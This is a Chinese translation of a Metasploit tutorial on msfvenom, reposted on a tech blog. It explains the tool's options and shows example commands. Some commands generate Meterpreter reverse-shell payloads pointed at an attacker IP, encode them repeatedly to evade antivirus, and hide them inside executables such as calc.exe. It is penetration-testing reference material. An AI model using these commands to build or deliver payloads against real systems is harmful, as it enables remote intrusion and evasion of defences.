译Metasploit:如何使用 msfvenom

2019-04-04 约 1645 字 预计阅读 4 分钟

声明:本文 【译Metasploit:如何使用 msfvenom】 由作者 王一航 于 2018-06-10 12:16:46 首发 先知社区 曾经 浏览数 6100 次

感谢 王一航 的辛苦付出!



Msfvenom 在 2015 年 6 月 8 日已经替代了 msfpayload 与 msfenocde 命令,它是这两个命令的结合体。

为了开始使用 msfvenom,可以首先浏览一下它所支持的命令参数:

Options:
    -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取
        --payload-options            List the payload's standard options # 列出指定 Payload 的标准可选配置项
    -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all
    -n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload # 指定 nop 在 payload 中的数量(译者注:类似堆喷射中通过 nop 滑动到 payload)
    -f, --format        <format>     Output format (use --help-formats for a list) # 指定 Payload 的输出格式
        --help-formats               List available formats # 列出所有可用的输出格式
    -e, --encoder       <encoder>    The encoder to use # 指定使用的 Encoder
    -a, --arch          <arch>       The architecture to use # 指定目标系统架构
        --platform      <platform>   The platform of the payload # 指定目标系统平台
        --help-platforms             List available platforms # 列出可用的平台
    -s, --space         <length>     The maximum size of the resulting payload # 设置未经编码的 Payload 的最大长度
        --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value) # 编码后的 Payload 的最大长度
    -b, --bad-chars     <list>       The list of characters to avoid example: '\x00\xff' # 设置需要在 Payload 中避免出现的字符
    -i, --iterations    <count>      The number of times to encode the payload # 设置 Payload 的编码次数
    -c, --add-code      <path>       Specify an additional win32 shellcode file to include # 指定包含一个额外的win32 shellcode文件
    -x, --template      <path>       Specify a custom executable file to use as a template # 指定一个特定的可执行文件作为模板
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread # 保护模板程序的功能,注入的payload作为一个新的进程运行
    -o, --out           <path>       Save the payload # 保存 Payload 到文件
    -v, --var-name      <name>       Specify a custom variable name to use for certain output formats # 指定一个变量名
(译者注:当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)
        --smallest                   Generate the smallest possible payload # 尽可能生成最短的 Payload
    -h, --help                       Show this message # 帮助

如何生成 Payload

为了生成 Payload,你需要配置两个必要的参数(-p 与 -f):

  • -p 参数指定特定的 Payload

可以通过如下命令列出所有可以使用的 Payload

./msfvenom -l payloads
  • -p 参数也支持使用 - 作为值来从标准输入中读取自定义的 Payload
    cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw
  • -f 参数指定 Payload 的输出格式

例如:

./msfvenom -p windows/meterpreter/bind_tcp -f exe

可以通过如下命令来查看所有支持的格式

./msfvenom --help-formats

下面是一个典型的 msfvenom 的使用案例:

$ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe

如何对 Payload 进行编码

默认情况下,当你使用 -b 选项(badchar 选项)时,编码功能将自动启动。 在其他情况下,您必须使用-e选项来开启 Payload 编码功能,如下所示:

./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw

如下所示,使用 -l 参数可以列出所有可用的编码器(译者注:encoder)

./msfvenom -l encoders

你也可以通过添加 -i 参数来将一个 Payload 编码多次,有时候多次编码可以绕过防病毒软件的检测(译者注:俗称免杀)。
但是要知道的是:编码并不能真正作为免杀的解决方案

./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3

避免使用某些字符(译者注:例如某些情况下 Payload 中是不可以出现 \x00 字符的)

-b 参数被设置的时候,它的值中描述的字符将会被避免出现在 Payload 中
当这个参数被添加的时候,msfvenom 将会自动寻找合适的编码器来编码 Payload

./msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw

如何提供一个自定义的模板

默认情况下,msfvenom 使用保存在目录 msf/data/templates 下的模板文件。如果你想要选择自己的模板,你可以使用 -x 参数来指定

./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe

请注意:如果你想使用一个自定义的基于 64 位操作系统的模板,那么请将 -f 参数中的 exe 修改为 exe-only

./msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe

-x 参数经常与 -k 参数成对出现,这样你就可以将模板中的 Payload 作为新线程运行。
但是,目前这仅适用于较老的Windows机器,如 x86 Windows XP。

如何将 msfvenom 的输出串联起来(利用操作系统管道的重定向特性)

以前旧的 msfpayloadmsfencode 经常串联使用,并按照多种编码顺序排列。msfvenom 也可以被这样使用:

./msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 | \
./msfvenom -a x86 --platform windows -e x86/countdown -i 8  -f raw | \
./msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe

参考文章(译者注)

关键词:[‘新手’, ‘入门资料’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now